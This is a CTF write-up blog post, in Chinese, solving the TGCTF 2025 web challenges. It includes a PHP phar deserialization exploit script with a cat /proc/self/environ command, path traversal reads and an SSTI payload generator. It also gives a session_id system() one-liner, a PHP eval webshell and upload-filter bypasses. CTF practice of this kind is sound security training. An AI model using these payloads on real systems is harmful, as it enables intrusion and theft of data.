TGCTF-2025 web

OneZ3r0 Lv3

前言

题目质量还是不错的,当时和cy做了一半,后面的就复现一下

GAME

vue的,本质还是前端题,ez三血
拼命翻源码+审计

http://node2.tgctf.woooo.tech:30433/src/views/stage/pc.vue

找到个最近的洞

http://node2.tgctf.woooo.tech:30433/@fs/tgflagggg?import&raw??

https://xz.aliyun.com/news/17655

什么文件上传?with revenge

robots.txt
/class.php
文件上传后缀爆破atg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
// highlight_file(__FILE__);
// error_reporting(0);
function best64_decode($str)
{
return base64_encode(md5(base64_encode(md5($str))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct() // 入口
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2) // 不存在方法
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
// if (file_exists($_GET['filename'])){
// echo "Focus on the previous step!<br>";
// }
// else{
// $data=substr($_GET['filename'],0,-4);
// unserialize(best64($data));
// }
// You learn yesterday, you choose today, can you get to your future?
?>

看起来是打phar反序列化
链子出奇的简单,不过一开始没想到md5是走string的

还是报错提示我了 XD,当时想走666来着

image-20250413163625952
image-20250413163625952

1
2
3
4
5
yesterday::__destruct()
$study->hard()
today::__call()
$doing
future::__toString()

虽然md5(object)会报错崩溃,但是rce在它之前,所以是可以打的

image-20250413163710825
image-20250413163710825

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class yesterday{
public $study;
}

class today {
public $doing;
}

class future{

}

$obj = new yesterday();
$obj->study = new today();
$obj->study->doing = new future();

@unlink("poc.phar");
$phar = new Phar("poc.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
// $o = new TestObject();
$phar->setMetadata($obj); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

改后缀为.atg上传进去

1
2
GET ?filename=phar://uploads/poc.atg
POST wow=cat /proc/self/environ

直面天命

flask,咋hint要我爆破路由??
爆了1个小时了孩子。。。/aazz

image-20250412111538800
image-20250412111538800

又要我猜传参??才发现响应包有提示。。。

1
GET /aazz?filename=../../../app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{ url_for("static", filename="3.jpeg") }}" alt="Image">'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
template= template.replace("直面","{{").replace("天命","}}")
template = template
if "cat" in template:
template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{ url_for("static", filename="2.jpeg") }}" alt="Image">'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:<br>{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
filename = request.args.get('filename', '')
if filename == "":
return send_from_directory('static', 'file.html')

if not filename.replace('_', '').isalnum():
content = jsonify({'error': '只允许字母和数字!'}), 400
if os.path.isfile(filename):
try:
with open(filename, 'r') as file:
content = file.read()
return content
except Exception as e:
return jsonify({'error': str(e)}), 500
else:
return jsonify({'error': '路径不存在或者路径非法'}), 404


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

哦?那没事了

直接,包非预期的。。。

1
GET /aazz?filename=/flag

后面发现

1
2
3
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了"
template= template.replace("天命","{{").replace("难违","}}")

所以是可以ssti的,用天命难违包裹就行,fenjing梭

1
2
3
4
5
6
7
8
9
10
11
12
13
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
blacklist = black_list=['lipsum','|','%','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
return all(word not in s for word in blacklist)

if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "cat *")
# config_payload = config_payload(waf)
print(shell_payload.replace("{{","天命").replace("}}","难违"))
# print(f"{config_payload=}")

AAA偷渡阴平

session相关无参数

1
2
3
?tgctf2025=session_start();system(hex2bin(session_id()));

Cookie: PHPSESSID=636174202f666c6167

TG_wordpress

https://solidwp.com/blog/wordpress-vulnerability-report-february-12-2025/

应该不是
看起来是xmlrpc
https://blog.csdn.net/qq_50854790/article/details/128637036
https://blog.csdn.net/2301_77485708/article/details/141610456

可以打,但是卡住了

1
2
3
4
http://101.37.149.223:33376/wp-json/
http://101.37.149.223:33376/penetration-test/
http://101.37.149.223:33376/wp-json/wp/v2/pages/2
http://101.37.149.223:33376/xmlrpc.php?rsd

TGCTF2025后台管理

后端是python,cookie可以改
但是好像不能ssti??

没思路

原来是在username输入\转义,password打单引号sql注入

(ez)upload

得扫出来个upload.php.bak才能做,用bak字典还只能扫出来index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

解法一:

看黑名单结合nginx很容易想到是.user.ini,auto_prepend_file图片马,然后题目还允许我们自定义上传的文件名$file_name = $_GET['name'];且没有一点过滤;

至于内容检测,用的是preg_match,直接利用PCRE回溯次数限制就可以绕过正则了(脏数据),但是呢,这里出题人写的正则显然是没用的,因为/.+?</s 是在<前面匹配任意字符,我们的shell<?php eval($_POST['cmd']; ?>并没有出现第二个<,所以形同虚设

不过这里需要name传参../.user.ini把它上传到有php文件的目录才能生效,
如果写的是auto_prepend_file=a.gif同样也需要将a.gif传到../

(还有这种方式无法使用蚁剑连接,只能在a.gif里面写命令一句一句执行看)

解法二:

由于检测完后缀之后还有一次改名操作,且这里使用的是move_uploaded_file 从0CTF一道题看move_uploaded_file的一个细节问题

1
2
$img_path = UPLOAD_PATH . $file_name; // $file_name为我们get传参传入的
if (move_uploaded_file($temp_file, $img_path))

这里后缀检测为空,拼接之后为/uploads/onez3r0.php/.实际上解析为/uploads/onez3r0.php绕过了限制,直接蚁剑连就行

熟悉的配方,熟悉的味道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = 【xxx】

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()

和强网杯题目很像 https://forum.butian.net/share/3974

这题其实是个障眼法,能执行exec,只不过看不到回显

1
2
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

可以__import__('os').system('sleep 10')测试一下,因此

法一:用operator.eq对flag逐位布尔盲注

法二:Pyramid内存马

法三:污染http头获得回显

老登,炸鱼来了?

  • 标题: TGCTF-2025 web
  • 作者: OneZ3r0
  • 创建于 : 2025-04-12 09:31:31
  • 更新于 : 2025-07-29 18:03:58
  • 链接: https://blog.onez3r0.top/2025/04/12/tgctf-2025/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。